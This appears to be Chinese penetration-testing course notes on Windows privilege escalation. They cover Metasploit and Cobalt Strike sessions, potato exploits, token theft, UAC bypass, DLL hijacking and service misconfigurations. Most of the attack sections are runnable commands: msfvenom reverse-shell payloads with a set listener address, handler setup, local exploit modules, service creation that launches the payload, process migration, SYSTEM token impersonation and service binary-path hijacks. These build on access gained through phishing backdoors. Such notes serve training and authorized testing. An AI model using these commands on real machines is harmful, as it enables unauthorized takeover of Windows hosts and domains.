windows权限提升

基础点:

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的:

后台权限,数据库权限,Web权限,用户权限,服务器权限,宿主机权限,域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成

数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成

Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成

用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成

服务器权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成

宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)

域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等

数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)

Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)

用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)

服务器权限:就如同自己电脑上能操作的情况(整个系统都是你的)

宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)

域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理

当我们下载备份文件获取到数据库信息

当我们通过漏洞拿到资产系统的Web权限

当我们在公司被给予账号密码登录计算机或系统

当我们在公司或钓鱼后门获取到某个公司机器系统

……………………………….

1、Web搭建平台差异

集成软件,自行搭建,虚拟化等

集成软件:宝塔,PhpStudy,XAMMP等

自行搭建:自己一个个下载安装搭建配置

虚拟化:Docker,ESXi,QEMU,Hyper-V等

2、Web语言权限差异

ASP/ASP.NET/PHP/JSP等

权限高低:JSP>ASP.NET>ASP=PHP

3、系统用户权限差异

Windows:

System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。

Administrators:管理员组,具有对计算机进行完全访问和操作的权限。

Users:用户组,一般用户的默认组别,拥有较低的系统权限。

Guests:

访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。

Backup Operators:

备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。

Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。

Remote Desktop Users:远程桌面用户组,允许用户进行远程桌面连接。

Network Configuration Operators:网络配置操作员组,允许用户管理网络配置。

Performance Log Users:性能日志用户组,允许用户收集性能日志和计数器数据。

Distributed COM Users:

分布式 COM 用户组,允许用户使用分布式 COM 连接到计算机。

IIS_IUSRS: 用于授权IIS相关服务的用户组。

Linux:

系统用户:UID(0-999)

普通用户:UID(1000-*)

root用户:UID为0,拥有系统的完全控制权限

Web

Web应用&中间件&数据库

背景1:通过弱口令进入Web后台系统通过上传获取Web权限

背景2:通过Tomcat弱口令进入控制界面通过上传获取Web权限

背景3:通过Redis未授权进入管理端通过SQL执行获取Web权限

权限转移-后台管理&数据库管理&Web

Tmall-后台权限->Web权限(提升)

Tmall-Web权限->数据库权限(转移)

Tmall-Web权限->另一个后台权限(转移)

PhpMyadmin-数据管理->Web权限(提升)

PhpMyadmin-Web权限->另一个后台权限(转移)

Windows

windows提权主要还是溢出漏洞

Web到Win-系统提权-宝塔面板-哥斯拉

Windows 2012(宝塔Apache+PHP)-MSF

复现搭建:选择2012系统后自行安装宝塔

哥斯拉插件//编码绕过、禁用函数绕过

Meterpreter

BypassOpenBaseDir

BypassDisableFunction

Web到Win-系统提权-溢出漏洞-MSF&CS

Windows 2008(IIS+ASP)-MSF

自行搭建+ASP/PHP+Windows 2008

复现搭建:选择2016系统后自行安装IIS+ASP

0、MSF安装:(也可以用kali)

目前的msf版本有bug可以TB上购买pro版本嘎嘎稳

https://blog.csdn.net/qq_46717339/article/details/122653084

1、生成反弹后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe

LHOST是msf攻击机配置

2、攻击机msfconsole配置监听会话

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3333

exploit

2.1、筛选EXP模块

全自动:快速识别系统中可能被利用的漏洞

use post/multi/recon/local_exploit_suggester

set showdescription true

3、利用EXP溢出提权

background

use exploit/windows/local/ms16_075_reflection_juicy

set session 1

exploit

Windows 2016(IIS+ASP.NET)-CS

复现搭建:选择2016系统后自行安装IIS+ASP.NET

0、CS安装

chmod +x ./teamserver

chmod +x ./TeamServerImage

./teamserver IP password

1、连接CS

2、创建监听器

3、加载脚本插件

Web到Win-系统提权-人工操作

如果提权中无法执行命令的话,可以尝试上传cmd.exe到可读写目录再调用

优点:解决实时更新不集成的EXP

缺点:操作繁琐,需要各种复现调试

解决工具或插件无法实时更新,又或者集成较少面对复杂情况下人工操作更适合

1、信息收集

参考常见命令(见上图)

2、补丁筛选

https://i.hacking8.com/tiquan. (已失效)

https://github.com/bitsadmin/wesng

python wes.py systeminfo.txt –color

python wes.py systeminfo.txt –color -i “Elevation of Privilege” //权限提升

python wes.py systeminfo.txt –color -i “Elevation of Privilege” -o vuln.csv

3、EXP获取执行

KernelHub 针对常用溢出编号指定找EXP

Poc-in-Github 针对年份及编号指定找EXP

exploitdb 针对类型及关键说明指定找EXP

https://github.com/Ascotbe/Kernelhub

https://github.com/nomi-sec/PoC-in-GitHub

https://gitlab.com/exploit-database/exploitdb

Web到Win-系统提权-土豆家族

https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w

土豆(potato)提权通常用在我们获取WEB/数据库权限的时候,

可以将低权限的服务用户提升为“NT AUTHORITY\SYSTEM”特权。

1、Test in:Windows 10/11(1809/21H2)

2、Test in:Windows Server 2019Datacenter(1809)

3、Test in:Windows Server 2022Datacenter(21H2)

OK的是实验中成功提权的

SweetPotato OK

RoguePotato

BadPotato OK

EfsPotato OK

GodPotato OK

PetitPotato OK

MultiPotato

CandyPotato

RasmanPotato OK

CoercedPotato

JuicyPotatoNG

PrintNotifyPotato OK

下载完直接用visual studio打开运行就行

GodPotato

https://github.com/BeichenDream/GodPotato

SweetPotato

https://github.com/CCob/SweetPotato

RoguePotato

https://github.com/antonioCoco/RoguePotato

BadPotato

https://github.com/BeichenDream/BadPotato

EfsPotato

https://github.com/zcgonvh/EfsPotato

MultiPotato

https://github.com/S3cur3Th1sSh1t/MultiPotato

CandyPotato

https://github.com/klezVirus/CandyPotato

RasmanPotato

https://github.com/crisprss/RasmanPotato

PetitPotato

https://github.com/wh0amitz/PetitPotato

JuicyPotatoNG

https://github.com/antonioCoco/JuicyPotatoNG

PrintNotifyPotato

https://github.com/BeichenDream/PrintNotifyPotato

CoercedPotato

https://github.com/Prepouce/CoercedPotato

钓鱼成功场景

应用场景:

1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。

2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。

比如计算机管理员用户执行了木马文件,上线后为adminnistrator权限,此时想看net user /域名

域内用户,但是计算机管理员权限不行,因为它属于计算机本机的管理员不算域内成员,此时要么升权限到system获取计算机系统权限,要么降低权限到域内用户

主要当前技术入口点:

-当前权限由钓鱼攻击获取

主要当前技术应用点:

-当前受控机在内网域环境

1、提权system与内网交互

2、降权到域用户与内网交互

net user查看计算机用户

net user /domainname 查看域内用户

cs内执行命令前面加shell

shell net user

服务启动(提权)

sc是用于与服务控制管理器和服务进行通信的命令行程序。

适用版本:windows 7、10、08、12、16、19、22,早期用at命令

1、创建一个名叫syscmd的执行文件服务

sc Create syscmd binPath=”c:\msf.exe”

2、运行服务

sc start syscmd

#远程控制(提权)

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

psexec.exe -accepteula -s -i -d cmd #调用运行cmd

#进程注入(降权&提权)

举例:win系统中任务管理器,有两个进程exe,a进程用户为administrator,b进程为system(权限高),a进程注入b进程,变成system,提权;b进程注入a进程,变成administrator,降权

MSF:
利用前面讲的溢出漏洞,

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.141 LPORT=3333 -f exe -o msf.exe
生成的msf.exe在/root目录下

在启动msfconsole监听端口

攻击机msfconsole配置监听会话

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 3333

exploit

在监听端口拿到的shell

ps //查看进程

migrate PID //迁移对应PID

从msf.exe开始迁移到PID

此时再getuid就获取到迁移的PID的User权限了了

CS://普通用户注入进程和窃取都没办法执行,至少得administrator

ps //查看进程

inject PID //注入对应PID

#令牌窃取(降权&提权)

MSF:

use incognito

list_tokens -u

获取到能窃取的用户,其中里面有NT AUTHORITY\SYSTEM

impersonate_token “NT AUTHORITY\SYSTEM”

也可以直接输入getsystem命令提权,msf会自动尝试可使用的方式提权

CS:

ps //查看进程

steal_token PID //窃取进程令牌

spawnu PID //窃取进程令牌上线

Win10&11-BypassUAC自动提权-MSF&UACME

UAC->User account controller

在某些win系统中,运行exe需要点击弹出窗口的是或者否选择运行或者不允许软件

类似下面这种

直接在cmd窗口里面执行会显示拒绝访问

为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制

在用户到系统权限自动提权中也学通过BypassUAC实现自动化提权

绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)

开启UAC和未开启UAC时,CS/MSF默认getsystem提权影响(进程注入等)

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f exe -o msf.exe

1、MSF模块:

use exploit/windows/local/ask

use exploit/windows/local/bypassua

use exploit/windows/local/bypassuac_sluihijack

use exploit/windows/local/bypassuac_silentcleanup

2、UACME项目:

https://github.com/hfiref0x/UACME

Akagi64.exe 编号 调用执行

如果运行有问题尝试修改SDK版本解决

对这五个全部修改

生成

利用文件在下面文件夹的output文件夹下

取出来拿到要绕过UAC的机器上,Akagi64.exe 数字编号 要绕过的软件.exe

eg:Akagi64.exe 41 C:\test\msf.exe

再msf提权或者其他执行类提权时候命令行执行有可能卡住,就可能是UAC导致

Windows-DLL劫持提权应用配合MSF-FlashFXP

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-等待启动应用成功

检测:ChkDllHijack 火绒剑

项目:https://github.com/anhkgg/anhkgg-tools

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=xx -f dll -o xiaodi.dll

提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

Windows-不带引号服务路径配合MSF-MacroExpert

前提:需要上传到指定目录的权限

原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行

路径带空格且没被双引号闭合

过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功

检测命令:

wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\“ |findstr /i /v “””

上传反弹exe,设置好对应执行名后,执行sc start “Macro Expert”

就比如有一个服务的启动是C:\program files\xx.exe

此时上传C:\program.exe,服务就会找到他,把后面空格之后的当作参数

Win2012-不安全的服务权限配合MSF-NewServices

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。

过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

检测脚本:accesschk.exe -uwcqv “administrator” *

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

修改test服务指向Program.exe

sc config “test” binpath= “C:\Program.exe”

sc start test

实战中基本没有,webshell没有权限执行那个工具,需要高权限

综合类检测项目:

https://github.com/carlospolop/PEASS-ng

类似对整机进行基线检查

PEAS-ng适用于Windows和Linux/Unix*和MacOS的权限提升工具。

winPEAS.bat > result.txt

winPEASany.exe log=result.txt